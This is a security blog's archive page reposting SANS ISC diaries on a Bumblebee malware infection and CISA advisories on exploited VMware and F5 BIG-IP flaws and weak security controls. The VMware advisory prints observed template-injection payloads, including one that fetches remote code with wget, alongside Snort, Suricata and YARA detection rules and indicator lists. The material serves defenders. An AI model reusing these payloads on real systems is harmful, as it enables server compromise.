Category Archives: Security

Attacker Scanning for jQuery-File-Upload, (Mon, May 23rd)

This post was originally published on this site

Recently, I noticed some requests hitting our honeypots that appear to attempt to exploit jQuery-File-Upload. jQuery-File-Upload is a popular tool for implementing file uploads. It has been around for a while and has had a few vulnerabilities in the past, but nothing recent as far as I can tell [1]. Allowing users to upload files securely is tricky. And jQuery-File-Upload is tempting faith by allowing uploads into the document root. The walk-through by Kristian Bremberg explaining past jQuery-File-Upload vulnerabilities is an excellent summary of all the things that can go wrong [2].

Bumblebee Malware from TransferXL URLs, (Thu, May 19th)

This post was originally published on this site

Introduction

Last month, Google's Threat Analysis Group (TAG) reported on EXOTIC LILY using file transfer services like TransferNow, TransferXL, WeTransfer, or OneDrive to distribute malware (link).  Threat researchers like @k3dg3 occasionally report malware samples from this activity.  Based on @k3dg3's recent tweet, I searched through VirusTotal and found a handful of active TransferXL URLs delivering ISO files for Bumblebee malware.

Today's diary reviews an infection generated from this activity on Wednesday 2022-05-18.


Shown above:  Flow chart for infection discussed in this diary.

TransferXL URLs

TransferXL is a legitimate file sharing service.  However, like other services with a cost-free tier, TransferXL has been abused by criminals as a way to distribute malicious files.  However, with TransferXL, we have the benefit of seeing an email address used to share the malicious file.  The image below shows a malicious TransferXL URL recently submitted to VirusTotal.  Viewed in a web browser, it sends a malicious file.  The associated email address is jhurris@wolsleyindustrialgroup.com.


Shown above:  Malicious TransferXL URL delivering malware.

The downloaded zip archive contains an ISO disk image.  When double-clicked, this file is mounted as a DVD drive.  The ISO file contains a visible Windows shortcut and a hidden malware DLL for Bumblebee.  Double-clicking the Windows shortcut will run the hidden malware DLL on a vulnerable Windows host.


Shown above:  Downloaded ISO file mounted as a disk image containing Windows shortcut and hidden malware DLL.

Traffic from an infection

After downloading malware from the malicious TransferXL URL, the infected host generated Bumblebee C2 traffic to 194.135.33[.]144 over TCP port 443.


Shown above:  Initial infection activity with Bumblebee C2 traffic filtered in Wireshark.

Approximately 15 minutes after the Bumblebee C2 traffic first appeared, the infected Windows host generated HTTPS traffic to ec2-3-144-143-232-us-east-2.compute.amazonaws[.]com on 3.144.143[.]242 over TCP port 443.  The infected host sent approximately 5.5 MB of data out and received approximately 4.0 MB of data back from that server.


Shown above:  Encrypted (HTTPS) traffic to an amazonAWS server.

Approximately 14 minutes after HTTPS traffic to the amazonAWS server, HTTPS Cobalt Strike traffic appeared on 23.106.215[.]123 over TCP port 443 using xenilik[.]com as the domain.  It lasted approximately 3 minutes.


Shown above:  Traffic from the infection showing Cobalt Strike activity.

Indicators of Compromise (IOCs)

TransferXL URLs associated with the above email returning zip archives containing malicious ISO files.

  • hxxps://www.transferxl[.]com/download/00ZNPDZqZwZ9m
  • hxxps://www.transferxl[.]com/download/00jwbtRXtsSsZX
  • hxxps://www.transferxl[.]com/download/00vJV4K6QVXSq6
  • hxxps://www.transferxl[.]com/download/00y12VGg75h7K
  • hxxps://www.transferxl[.]com/download/08j8ZRjHFkVxxc

NOTE: The above URLs usually have ?utm_source=downloadmail&utm_medium=e-mail appended to them.

Email addresses associated with malicious TransferXL URLs:

  • andresbolivar@southerncompanygas[.]co
  • jhurris@wolsleyindustrialgroup[.]com
  • m.jones@wolsleyindustrialgroup[.]com
  • mjones@wolsleyindustrialgroup[.]co

Domains from the above emails:

  • southerncompanygas[.]co – registered 2022-04-27
  • wolsleyindustrialgroup[.]com – registered 2022-04-29
  • wolsleyindustrialgroup[.]co – not registered

Malware from an infected Windows host:

SHA256 hash: 1ec8c7e21090fb4c667f40c8720388a89789c569169fe0e41ec81567df499aac

  • File size: 669,897 bytes
  • File name: TransferXL-00jdMwft3vVZ7Q.zip
  • File description: Zip archive retrieved from TransferXL URL

SHA256 hash: 24aa82e1a085412686af5d178810fc0d056c5b8167ae5b88973b33071aa14569

  • File size: 1,052,672 bytes
  • File name: documents-2205210.iso
  • File description: ISO file extracted from downloaded zip archive

SHA256 hash: ade875616534b755f33f6012ea263da808dd7eb50bc903fc97722f37fac7c164

  • File size: 1,191 bytes
  • File name: New Folder.lnk
  • File description: Windows shortcut contained in ISO file
  • Shortcut: C:WindowsSystem32rundll32.exe spc.dll,JQhnMKwhpA

SHA256 hash: 88c07354f1d7b0485452d5c39dc1a6d73884e163bc5489c40adc6662602b4d76

  • File size: 997,888 bytes
  • File name: spc.dll
  • File description: 64-bit DLL (hidden flag set) for Bumblebee malware
  • Run method: rundll32.exe [filename],JQhnMKwhpA

Traffic from the infected Windows host:

  • 194.135.33[.]144 port 443 – Bumblebee C2 HTTPS traffic
  • 3.144.143[.]242 port 443 – ec2-3-144-143-242.us-east-2.compute.amazonaws[.]com – HTTPS traffic
  • 23.106.215[.]123 port 443 – xenilik[.]com – Cobalt Strike HTTPS traffic

Final words

As the Google TAG blog post notes, EXOTIC LILY is using this method to push Bumblebee malware, and Bumblebee leads to further malware like Cobalt Strike.  And Cobalt Strike has been documented by different sources as leading to ransomware.

Today's diary reviewed a Bumblebee malware infection associated with EXOTIC LILY that led to Cobalt Strike activity.

Pcap and malware samples associated with this infection are available here.


Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

AA22-138B: Threat Actors Chaining Unpatched VMware Vulnerabilities for Full System Control

This post was originally published on this site

Original release date: May 18, 2022

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Cybersecurity Advisory (CSA) to warn organizations that malicious cyber actors, likely advanced persistent threat (APT) actors, are exploiting CVE-2022-22954 and CVE-2022-22960 separately and in combination. These vulnerabilities affect certain versions of VMware Workspace ONE Access, VMware Identity Manager (vIDM), VMware vRealize Automation (vRA), VMware Cloud Foundation, and vRealize Suite Lifecycle Manager. Exploiting these vulnerabilities permits malicious actors to trigger a server-side template injection that may result in remote code execution (RCE) (CVE-2022-22954) or escalation of privileges to root (CVE-2022-22960). 

VMware released updates for both vulnerabilities on April 6, 2022, and, according to a trusted third party, malicious cyber actors were able to reverse engineer the updates to develop an exploit within 48 hours and quickly began exploiting the disclosed vulnerabilities in unpatched devices. CISA was made aware of this exploit a week later and added CVE-2022-22954 and CVE-2022-22960 to its catalog of Known Exploited Vulnerabilities on April 14 and April 15, respectively. In accordance with Binding Operational Directive (BOD) 22-01, Reducing the Significant Risk of Known Exploited Vulnerabilities, federal agencies were required to apply updates for CVE-2022-22954 and CVE-2022-22960 by May 5, and May 6, 2022, respectively

Note: based on this activity, CISA expects malicious cyber actors to quickly develop a capability to exploit newly released vulnerabilities CVE-2022-22972 and CVE-2022-22973 in the same impacted VMware products. In response, CISA has released, Emergency Directive (ED) 22-03 Mitigate VMware Vulnerabilities, which requires emergency action from Federal Civilian Executive Branch agencies to either immediately implement the updates in VMware Security Advisory VMSA-2022-0014 or remove the affected software from their network until the updates can be applied.

CISA has deployed an incident response team to a large organization where the threat actors exploited CVE-2022-22954. Additionally, CISA has received information—including indicators of compromise (IOCs)—about observed exploitation at multiple other large organizations from trusted third parties.

This CSA provides IOCs and detection signatures from CISA as well as from trusted third parties to assist administrators with detecting and responding to this activity. Due to the rapid exploitation of these vulnerabilities, CISA strongly encourages all organizations with internet-facing affected systems—that did not immediately apply updates—to assume compromise and initiate threat hunting activities using the detection methods provided in this CSA. If potential compromise is detected, administrators should apply the incident response recommendations included in this CSA.

Download the PDF version of this report (pdf, 232kb).

Technical Details

CISA has deployed an incident response team to a large organization where the threat actors exploited CVE-2022-22954. Additionally, CISA has received information about observed exploitation of CVE-2022-22954 and CVE-2022-22960 by multiple threat actors at multiple other large organizations from trusted third parties.

  • CVE-2022-22954 enables an actor with network access to trigger a server-side template injection that may result in RCE. This vulnerability affects the following products:[1]
    • VMware Workspace ONE Access, versions 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
    • vIDM versions 3.3.6, 3.3.5, 3.3.4, 3.3.3
    • VMware Cloud Foundation, 4.x
    • vRealize Suite LifeCycle Manager, 8.
  • CVE-2022-22960 enables a malicious actor with local access to escalate privileges to root due to improper permissions in support scripts. This vulnerability affects the following products:[2]
    • VMware Workspace ONE Access, versions 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
    • vIDM, versions 3.3.6, 3.3.5, 3.3.4, 3.3.3
    • vRA, version 7.6 
    • VMware Cloud Foundation, 3.x, 4.x, 
    • vRealize Suite LifeCycle Manager, 8.x

According to trusted third-party reporting, threat actors may chain these vulnerabilities. At one compromised organization, on or around April 12, 2022, an unauthenticated actor with network access to the web interface leveraged CVE-2022-22954 to execute an arbitrary shell command as a VMware user. The actor then exploited CVE-2022-22960 to escalate the user’s privileges to root. With root access, the actor could wipe logs, escalate permissions, and move laterally to other systems.

Threat actors have dropped post-exploitation tools, including the Dingo J-spy webshell. During incident response activities, CISA observed, on or around April 13, 2022, threat actors leveraging CVE-2022-22954 to drop the Dingo J-spy webshell. Around the same period, a trusted third party observed threat actors leveraging CVE-2022-22954 to drop the Dingo J-spy webshell at one other organization. According to the third party, the actors may have also dropped the Dingo J-spy webshell at a third organization. Note: analysis of the first compromise and associated malware is ongoing, and CISA will update information about this case as we learn more.

Detection Methods

Signatures

Note: servers vulnerable to CVE-2022-22954 may use Hypertext Transfer Protocol Secure (HTTPS) to encrypt client/server communications. Secure Sockets Layer (SSL)/Transport Layer Security (TLS) decryption can be used as a workaround for network-based detection and threat hunting efforts.

The following CISA-created Snort signature may detect malicious network traffic related to exploitation of CVE-2022-22954:

alert tcp any any -> any $HTTP_PORTS (msg:”VMware:HTTP GET URI contains ‘/catalog-portal/ui/oauth/verify?error=&deviceUdid=’:CVE-2022-22954″; sid:1; rev:1; flow:established,to_server; content: “GET”; http_method; content:”/catalog-portal/ui/oauth/verify?error=&deviceUdid=”; http_uri; reference:cve,2022-22954; reference:url,github.com/sherlocksecurity/VMware-CVE-2022-22954; reference:url,github.com/tunelko/CVE-2022-22954-PoC/blob/main/CVE-2022-22954.py; priority:2; metadata:service http;)

The following third-party Snort signature may detect exploitation of VMware Workspace ONE Access server-side template injection:

10000001alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”Workspace One Serverside Template Injection”;content:”GET”; http_method; content:”freemarker.template.utility.Execute”;nocase; http_uri; priority:1; sid:;rev:1;)

The following third-party YARA rule may detect unmodified instances of the Dingo J-spy webshell on infected hosts:

rule dingo_jspy_webshell
{
strings:
$string1 = “dingo.length”
$string2 = “command = command.trim”
$string3 = “commandAction”
$string4 = “PortScan”
$string5 = “InetAddress.getLocalHost”
$string6 = “DatabaseManager”
$string7 = “ExecuteCommand”
$string8 = “var command = form.command.value”
$string9 = “dingody.iteye.com”
$string10 = “J-Spy ver”
$string11 = “no permission ,die”
$string12 = “int iPort = Integer.parseInt”
condition:
filesize < 50KB and 12 of ($string*)
}

Note: the Dingo J-spy webshell is an example of post-exploitation tools that actors have used. Administrators should examine their network for any sign of post-exploitation activity.

Behavioral Analysis and Indicators of Compromise

Administrators should conduct behavioral analysis on root accounts of vulnerable systems by:

  • Using the indicators listed in table 1 to detect potential malicious activity.
  • Reviewing systems logs and gaps in logs.
  • Reviewing abnormal connections to other assets.
  • Searching the command-line history.
  • Auditing running processes.
  • Reviewing local user accounts and groups.  
  • Auditing active listening ports and connections.

 

Table 1: Third-party IOCs for Exploitation of CVE-2022-22954 and CVE-2022-22960

Indicator

Comment

IP Addresses

136.243.75[.]136

On or around April 12, 2022, malicious cyber actors may have used this German-registered IP address to conduct the activity. However, the actors may have used the Privax HMA VPN client to conduct operations.

Scanning, Exploitation Strings, and Commands Observed

catalog-portal/ui/oauth/verify 

 

catalog

portal/ui/oauth/verify?error=&deviceUdid=${“freemarker.template.utility.Execute”?new()(“cat  /etc/hosts”)}  

 

/catalog

portal/ui/oauth/verify?error=&deviceUdid=${“freemarker.template.utility.Execute”?new()(“wget  -U “Hello 1.0″ -qO – http://[REDACTED]/one”)} 

 

freemarker.template.utility.Execute

Search for this function in:

opt/vmware/horizon/workspace/logs/greenbox_web.log.

 

freemarker.template.utility.Execute may be legitimate but could also indicate malicious shell commands.

/opt/vmware/certproxy/bing/certproxyService.sh 

Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.

/horizon/scripts/exportCustomGroupUsers.sh

Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.

/horizon/scripts/extractUserIdFromDatabase.sh 

Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.

Files

horizon.jsp 

Found in /usr/local/horizon/workspace/webapps/SAAS/horizon/js-lib: 

jquery.jsp

Found in /usr/local/horizon/workspace/webapps/SAAS/horizon/js-lib: 

Webshells

jspy 

 

godzilla  

 

tomcatjsp 

 

Incident Response

If administrators discover system compromise, CISA recommends they:

  1. Immediately isolate affected systems. 
  2. Collect and review relevant logs, data, and artifacts.
  3. Consider soliciting support from a third-party incident response organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.
  4. Report incidents to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870)

Mitigations

CISA recommends organizations update impacted VMware products to the latest version or remove impacted versions from organizational networks. CISA does not endorse alternative mitigation options. As noted in ED 22-03 Mitigate VMware Vulnerabilities, CISA expects malicious cyber actors to quickly develop a capability to exploit newly released vulnerabilities CVE-2022-22972 and CVE-2022-22973 in the same impacted VMware products. ED 22-03 directs all Federal Civilian Executive Branch agencies to enumerate all instances of impacted VMware products and deploy updates in VMware Security Advisory VMSA-2022-0014 or to remove the affected software from the agency network until the updates can be applied.

Resources

Contact Information

CISA encourages recipients of this CSA to report incidents to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870)

References

Revisions

  • Initial Version: May 18, 2022

This product is provided subject to this Notification and this Privacy & Use policy.

AA22-138A: Threat Actors Exploiting F5 BIG-IP CVE-2022-1388

This post was originally published on this site

Original release date: May 18, 2022

Summary

Actions for administrators to take today:
• Do not expose management interfaces to the internet.
• Enforce multi-factor authentication.
• Consider using CISA’s Cyber Hygiene Services.

The Cybersecurity and Infrastructure Security Agency (CISA) and the Multi-State Information Sharing & Analysis Center (MS-ISAC) are releasing this joint Cybersecurity Advisory (CSA) in response to active exploitation of CVE-2022-1388. This recently disclosed vulnerability in certain versions of F5 Networks, Inc., (F5) BIG-IP enables an unauthenticated actor to gain control of affected systems via the management port or self-IP addresses. F5 released a patch for CVE-2022-1388 on May 4, 2022, and proof of concept (POC) exploits have since been publicly released, enabling less sophisticated actors to exploit the vulnerability. Due to previous exploitation of F5 BIG-IP vulnerabilities, CISA and MS-ISAC assess unpatched F5 BIG-IP devices are an attractive target; organizations that have not applied the patch are vulnerable to actors taking control of their systems.

According to public reporting, there is active exploitation of this vulnerability, and CISA and MS-ISAC expect to see widespread exploitation of unpatched F5 BIG-IP devices (mostly with publicly exposed management ports or self IPs) in both government and private sector networks. CISA and MS-ISAC strongly urge users and administrators to remain aware of the ramifications of exploitation and use the recommendations in this CSA—including upgrading their software to fixed versions—to help secure their organization’s systems against malicious cyber operations. Additionally, CISA and MS-ISAC strongly encourage administrators to deploy the signatures included in this CSA to help determine whether their systems have been compromised. CISA and MS-ISAC especially encourage organizations who did not patch immediately or whose F5 BIG-IP device management interface has been exposed to the internet to assume compromise and hunt for malicious activity using the detection signatures in this CSA. If potential compromise is detected, organizations should apply the incident response recommendations included in this CSA.

Download the PDF version of this report (pdf, 500kb).

Technical Details

CVE-2022-1388 is a critical iControl REST authentication bypass vulnerability affecting the following versions of F5 BIG-IP:[1]

  • 16.1.x versions prior to 16.1.2.2 
  • 15.1.x versions prior to 15.1.5.1 
  • 14.1.x versions prior to 14.1.4.6 
  • 13.1.x versions prior to 13.1.5 
  • All 12.1.x and 11.6.x versions

An unauthenticated actor with network access to the BIG-IP system through the management port or self IP addresses could exploit the vulnerability to execute arbitrary system commands, create or delete files, or disable services. F5 released a patch for CVE-2022-1388 for all affected versions—except 12.1.x and 11.6.x versions—on May 4, 2022 (12.1.x and 11.6.x versions are end of life [EOL], and F5 has stated they will not release patches).[2]

POC exploits for this vulnerability have been publicly released, and on May 11, 2022, CISA added this vulnerability its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation. Due to the POCs and ease of exploitation, CISA and MS-ISAC expect to see widespread exploitation of unpatched F5 BIG-IP devices in government and private networks. 

Dection Methods

CISA recommends administrators, especially of organizations who did not immediately patch, to:

  • See the F5 Security Advisory K23605346 for indicators of compromise. 
  • See the F5 guidance K11438344 if you suspect a compromise. 
  • Deploy the following CISA-created Snort signature:
alert tcp any any -> any $HTTP_PORTS (msg:”BIG-IP F5 iControl:HTTP POST URI ‘/mgmt./tm/util/bash’ and content data ‘command’ and ‘utilCmdArgs’:CVE-2022-1388”; sid:1; rev:1; flow:established,to_server; flowbits:isnotset,bigip20221388.tagged; content:”POST”; http_method; content:”/mgmt/tm/util/bash”; http_uri; content:”command”; http_client_body; content:”utilCmdArgs”; http_client_body; flowbits:set,bigip20221388.tagged; tag:session,10,packets; reference:cve-2022-1388; reference:url,github.com/alt3kx/CVE-2022-1388_PoC; priority:2; metadata:service http;)

Additional resources to detect possible exploitation or compromise are identified below:

  • Emerging Threats suricata signatures. Note: CISA and MS-ISAC have verified these signatures are successful in detection of both inbound exploitation attempts (SID: 2036546) as well as post exploitation, indicating code execution (SID: 2036547).
    • SID 2036546
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:”ET EXPLOIT F5 BIG-IP iControl REST Authentication Bypass (CVE 2022-1388) M1″; flow:established,to_server; content:”POST”; http_method; content:”/mgmt/tm/util/bash”; http_uri; fast_pattern; content:”Authorization|3a 20|Basic YWRtaW46″; http_header; content:”command”; http_client_body; content:”run”; http_client_body; distance:0; content:”utilCmdArgs”; http_client_body; distance:0; http_connection; content:”x-F5-Auth-Token”; nocase; http_header_names; content:!”Referer”; content:”X-F5-Auth-Token”; flowbits:set,ET.F5AuthBypass; reference:cve,2022-1388; classtype:trojan-activity; sid:2036546; rev:2; metadata:attack_target Web_Server, created_at 2022_05_09, deployment Perimeter, deployment SSLDecrypt, former_category EXPLOIT, performance_impact Low, signature_severity Major, updated_at 2022_05_09;
  • SID SID 2036547
alert http $HOME_NET any -> any any (msg:”ET EXPLOIT F5 BIG-IP iControl REST Authentication Bypass Server Response (CVE 2022-1388)”; flow:established,to_client; flowbits:isset,ET.F5AuthBypass; content:”200″; http_stat_code; file_data; content:”kind”; content:”tm|3a|util|3a|bash|3a|runstate”; fast_pattern; distance:0; content:”command”; distance:0; content:”run”; distance:0; content:”utilCmdArgs”; distance:0; content:”commandResult”; distance:0; reference:cve,2022-1388; classtype:trojan-activity; sid:2036547; rev:1; metadata:attack_target Web_Server, created_at 2022_05_09, deployment Perimeter, deployment SSLDecrypt, former_category EXPLOIT, performance_impact Low, signature_severity Major, updated_at 2022_05_09;)

 

Incident Response 

If an organization’s IT security personnel discover system compromise, CISA and MS-ISAC recommend they:

  1. Quarantine or take offline potentially affected hosts.
  2. Reimage compromised hosts.
  3. Provision new account credentials.
  4. Limit access to the management interface to the fullest extent possible.
  5. Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
  6. Report the compromise to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870). State, local, tribal, or territorial government entities can also report to MS-ISAC (SOC@cisecurity.org or 866-787-4722).

See the joint CSA from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity for additional guidance on hunting or investigating a network, and for common mistakes in incident handling. CISA and MS-ISAC also encourage government network administrators to see CISA’s Federal Government Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to federal civilian branch agencies, these playbooks provide operational procedures for planning and conducting cybersecurity incident and vulnerability response activities and detail steps for both incident and vulnerability response. 

Mitigations

CISA and MS-ISAC recommend organizations:

  • Upgrade F5 BIG-IP software to fixed versions; organizations using versions 12.1.x and 11.6.x should upgrade to supported versions. 
  • If unable to immediately patch, implement F5’s temporary workarounds:
    • Block iControl REST access through the self IP address.
    • Block iControl REST access through the management interface.
    • Modify the BIG-IP httpd configuration. 

See F5 Security Advisory K23605346 for more information on how to implement the above workarounds. 

CISA and MS-ISAC also recommend organizations apply the following best practices to reduce risk of compromise:

  • Maintain and test an incident response plan.
  • Ensure your organization has a vulnerability program in place and that it prioritizes patch management and vulnerability scanning. Note: CISA’s Cyber Hygiene Services (CyHy) are free to all SLTT organizations and public and private sector critical infrastructure organizations: https://www.cisa.gov/cyber-hygiene-services.
  • Properly configure and secure internet-facing network devices.
    • Do not expose management interfaces to the internet.
    • Disable unused or unnecessary network ports and protocols.
    • Disable/remove unused network services and devices.
  • Adopt zero-trust principles and architecture, including:
    • Micro-segmenting networks and functions to limit or block lateral movements.
    • Enforcing multifactor authentication (MFA) for all users and VPN connections.
    • Restricting access to trusted devices and users on the networks.

References

Revisions

  • Initial Version: May 18, 2022

This product is provided subject to this Notification and this Privacy & Use policy.

Do you want 30 BTC? Nothing is easier (or cheaper) in this phishing campaign…, (Wed, May 18th)

This post was originally published on this site

Cryptocurrency scams have become ubiquitous over the past few years, but from time to time, one still comes over an interesting or unusual one. And the one that recently made its way to us at the ISC certainly was interesting, as it was much more sophisticated than usual… Though, as you may see, one would not have guessed it from the less than believable initial e-mail message.

AA22-137A: Weak Security Controls and Practices Routinely Exploited for Initial Access

This post was originally published on this site

Original release date: May 17, 2022

Summary

Best Practices to Protect Your Systems:
• Control access.
• Harden Credentials.
• Establish centralized log management.
• Use antivirus solutions.
• Employ detection tools.
• Operate services exposed on internet-accessible hosts with secure configurations.
• Keep software updated.

Cyber actors routinely exploit poor security configurations (either misconfigured or left unsecured), weak controls, and other poor cyber hygiene practices to gain initial access or as part of other tactics to compromise a victim’s system. This joint Cybersecurity Advisory identifies commonly exploited controls and practices and includes best practices to mitigate the issues. This advisory was coauthored by the cybersecurity authorities of the United States,[1],[2],[3] Canada,[4] New Zealand,[5],[6] the Netherlands,[7] and the United Kingdom.[8]

Download the PDF version of this report (pdf, 430kb).

Technical Details

Malicious actors commonly use the following techniques to gain initial access to victim networks.[TA0001]

Malicious cyber actors often exploit the following common weak security controls, poor configurations, and poor security practices to employ the initial access techniques.

  • Multifactor authentication (MFA) is not enforced. MFA, particularly for remote desktop access, can help prevent account takeovers. With Remote Desktop Protocol (RDP) as one of the most common infection vector for ransomware, MFA is a critical tool in mitigating malicious cyber activity. Do not exclude any user, particularly adminstrators, from an MFA requirement. 
  • Incorrectly applied privileges or permissions and errors within access control lists. These mistakes can prevent the enforcement of access control rules and could allow unauthorized users or system processes to be granted access to objects. 
  • Software is not up to date. Unpatched software may allow an attacker to exploit publicly known vulnerabilities to gain access to sensitive information, launch a denial-of-service attack, or take control of a system. This is one of the most commonly found poor security practices.
  • Use of vendor-supplied default configurations or default login usernames and passwords. Many software and hardware products come “out of the box” with overly permissive factory-default configurations intended to make the products user-friendly and reduce the troubleshooting time for customer service. However, leaving these factory default configurations enabled after installation may provide avenues for an attacker to exploit. Network devices are also often pre-configured with default administrator usernames and passwords to simplify setup. These default credentials are not secure—they may be physically labeled on the device or even readily available on the internet. Leaving these credentials unchanged creates opportunities for malicious activity, including gaining unauthorized access to information and installing malicious software. Network defenders should also be aware that the same considerations apply for extra software options, which may come with preconfigured default settings.
  • Remote services, such as a virtual private network (VPN), lack sufficient controls to prevent unauthorized access. During recent years, malicious threat actors have been observed targeting remote services. Network defenders can reduce the risk of remote service compromise by adding access control mechanisms, such as enforcing MFA, implementing a boundary firewall in front of a VPN, and leveraging intrusion detection system/intrusion prevention system sensors to detect anomalous network activity.  
  • Strong password policies are not implemented. Malicious cyber actors can use a myriad of methods to exploit weak, leaked, or compromised passwords and gain unauthorized access to a victim system. Malicious cyber actors have used this technique in various nefarious acts and prominently in attacks targeting RDP. 
  • Cloud services are unprotected. Misconfigured cloud services are common targets for cyber actors. Poor configurations can allow for sensitive data theft and even cryptojacking.
  • Open ports and misconfigured services are exposed to the internet. This is one of the most common vulnerability findings. Cyber actors use scanning tools to detect open ports and often use them as an initial attack vector. Successful compromise of a service on a host could enable malicious cyber actors to gain initial access and use other tactics and procedures to compromise exposed and vulnerable entities. RDP, Server Message Block (SMB), Telnet, and NetBIOS are high-risk services. 
  • Failure to detect or block phishing attempts. Cyber actors send emails with malicious macros—primarily in Microsoft Word documents or Excel files—to infect computer systems. Initial infection can occur in a variety of ways, such as when a user opens or clicks a malicious download link, PDF, or macro-enabled Microsoft Word document included in phishing emails. 
  • Poor endpoint detection and response. Cyber actors use obfuscated malicious scripts and PowerShell attacks to bypass endpoint security controls and launch attacks on target devices. These techniques can be difficult to detect and protect against. 

Mitigations

Applying the following practices can help organizations strengthen their network defenses against common exploited weak security controls and practices.

Control Access

  • Adopt a zero-trust security model that eliminates implicit trust in any one element, node, or service, and instead requires continuous verification of the operational picture via real-time information from multiple sources to determine access and other system responses.[9],[10] Zero-trust architecture enables granular privilege access management and can allow users to be assigned only the rights required to perform their assigned tasks.
  • Limit the ability of a local administrator account to log in from a remote session (e.g., deny access to this computer from the network) and prevent access via an RDP session. Additionally, use dedicated administrative workstations for privileged user sessions to help limit exposure to all the threats associated with device or user compromise. 
  • Control who has access to your data and services. Give personnel access only to the data, rights, and systems they need to perform their job. This role-based access control, also known as the principle of least priviledge, should apply to both accounts and physical access. If a malicious cyber actor gains access, access control can limit the actions malicious actors can take and can reduce the impact of misconfigurations and user errors. Network defenders should also use this role-based access control to limit the access of service, machine, and functional accounts, as well as the use of management privileges, to what is necessary. Consider the following when implementing access control models:
    • Ensure that access to data and services is specifically tailored to each user, with each employee having their own user account. 
    • Give employees access only to the resources needed to perform their tasks.
    • Change default passwords of equipment and systems upon installation or commissioning. 
    • Ensure there are processes in place for the entry, exit, and internal movement of employees. Delete unused accounts, and immediately remove access to data and systems from accounts of exiting employees who no longer require access. Deactivate service accounts, and activate them only when maintenance is performed.[11]
  • Harden conditional access policies. Review and optimize VPN and access control rules to manage how users connect to the network and cloud services.
  • Verify that all machines, including cloud-based virtual machine instances do not have open RDP ports. Place any system with an open RDP port behind a firewall and require users to use a VPN to access it through the firewall.[12]

Implement Credential Hardening

Establish Centralized Log Management

  • Ensure that each application and system generates sufficient log information. Log files play a key role in detecting attacks and dealing with incidents. By implementing robust log collection and retention, organizations are able to have sufficient information to investigate incidents and detect threat actor behavior. Consider the following when implementing log collection and retention: 
    • Determine which log files are required. These files can pertain to system logging, network logging, application logging, and cloud logging. 
    • Set up alerts where necessary. These should include notifications of suspicious login attempts based on an analysis of log files. 
    • Ensure that your systems store log files in a usable file format, and that the recorded timestamps are accurate and set to the correct time zone. 
    • Forward logs off local systems to a centralized repository or security information and event management (SIEM) tools. Robustly protect SIEM tools with strong account and architectural safeguards.
    • Make a decision regarding the retention period of log files. If you keep log files for a long time, you can refer to them to determine facts long after incidents occur. On the other hand, log files may contain privacy-sensitive information and take up storage space. Limit access to log files and store them in a separate network segment. An incident investigation will be nearly impossible if attackers have been able to modify or delete the logfiles.[13]

Employ Antivirus Programs

  • Deploy an anti-malware solution on workstations to prevent spyware, adware, and malware as part of the operating system security baseline.
  • Monitor antivirus scan results on a routine basis.

Employ Detection Tools and Search for Vulnerabilities

  • Implement endpoint and detection response tools. These tools allow a high degree of visibility into the security status of endpoints and can help effectively protect against malicious cyber actors.
  • Employ an intrusion detection system or intrusion prevention system to protect network and on-premises devices from malicious activity. Use signatures to help detect malicious network activity associated with known threat activity.
  • Conduct penetration testing to identify misconfigurations. See the Additional Resources section below for more information about CISA’s free cyber hygiene services, including remote penetration testing.
  • Conduct vulnerability scanning to detect and address application vulnerabilities. 
  • Use cloud service provider tools to detect overshared cloud storage and monitor for abnormal accesses.

Maintain Rigorous Configuration Management Programs

  • Always operate services exposed on internet-accessible hosts with secure configurations. Never enable external access without compensating controls such as boundary firewalls and segmentation from other more secure and internal hosts like domain controllers. Continuously assess the business and mission need of internet-facing services. Follow best practices for security configurations, especially blocking macros in documents from the internet.[14]

Initiate a Software and Patch Management Program 

  • Implement asset and patch management processes to keep software up to date. Identify and mitigate unsupported, end-of-life, and unpatched software and firmware by performing vulnerability scanning and patching activities. Prioritize patching known exploited vulnerabilities.

Additional Resources 

References 

[1] United States Cybersecurity and Infrastructure Security Agency 
[2] United States Federal Bureau of Investigation
[3] United States National Security Agency
[4] Canadian Centre for Cyber Security 
[5] New Zealand National Cyber Security Centre 
[6] New Zealand CERT NZ
[7] Netherlands National Cyber Security Centre
[8] United Kingdom National Cyber Security Centre 
[9] White House Executive Order on Improving the Nation’s Cybersecurity
[10] NCSC-NL Factsheet: Prepare for Zero Trust
[11] NCSC-NL Guide to Cyber Security Measures
[12] N-able Blog: Intrusion Detection System (IDS): Signature vs. Anomaly-Based
[13] NCSC-NL Guide to Cyber Security Measures
[14] National Institute of Standards and Technology SP 800-123 – Keeping Servers Secured

Contact

U.S. organizations: To report incidents and anomalous activity or to request incident response resources or technical assistance related to these threats, contact CISA at report@cisa.gov. To report computer intrusion or cybercrime activity related to information found in this advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch at 855-292-3937 or by email at CyWatch@fbi.gov. For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov

Canadian organizations: report incidents by emailing CCCS at contact@cyber.gc.ca

New Zealand organizations: report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654. 

The Netherlands organizations: report incidents to cert@ncsc.nl

United Kingdom organizations: report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

Caveats

